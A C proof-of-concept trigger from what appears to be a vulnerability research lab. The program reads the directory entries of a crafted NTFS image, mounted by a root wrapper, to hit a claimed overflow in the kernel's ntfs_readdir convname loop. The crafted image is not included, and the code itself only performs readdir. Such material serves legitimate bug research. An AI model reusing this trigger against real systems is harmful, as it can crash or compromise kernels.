DF-0873 / trigger.c
/* * DF-0873 trigger -- mount a crafted NTFS image and readdir the root. * * Run as an UNPRILEGED user (maxx). The image must already be vnconfig'd * onto a device node the user can open, OR we use mount_ntfs directly on * the image path (mount_ntfs opens the image). In our lab the root admin * has pre-chowned the image + a /dev/vn* node to the user; mount_ntfs is * the privileged entry. Here we just call getdents on the mountpoint -- * the mount itself is done by the run.sh wrapper as root, then this binary * (run as maxx) does the readdir. * * The readdir hits ntfs_readdir -> convname loop overflow. */ #include <sys/types.h> #include <dirent.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> int main(int argc, char **argv) { const char *mp = (argc > 1) ? argv[1] : "/mnt/evil"; DIR *d = opendir(mp); if (!d) { fprintf(stderr, "opendir(%s): %s\n", mp, strerror(errno)); return 2; } printf("[+] opened %s; reading dirents (ntfs_readdir convname overflow)...\n", mp); int n = 0; struct dirent *de; errno = 0; while ((de = readdir(d)) != NULL) { printf(" dirent[%d]: d_ino=%ju d_namlen=%u d_type=%u d_name='%s'\n", n, (uintmax_t)de->d_fileno, de->d_namlen, de->d_type, de->d_name); n++; if (n > 64) break; } int e = errno; closedir(d); if (n == 0) printf("[!] readdir returned 0 entries; errno=%d (%s)\n", e, strerror(e)); else printf("[+] readdir returned %d entries\n", n); return 0; } |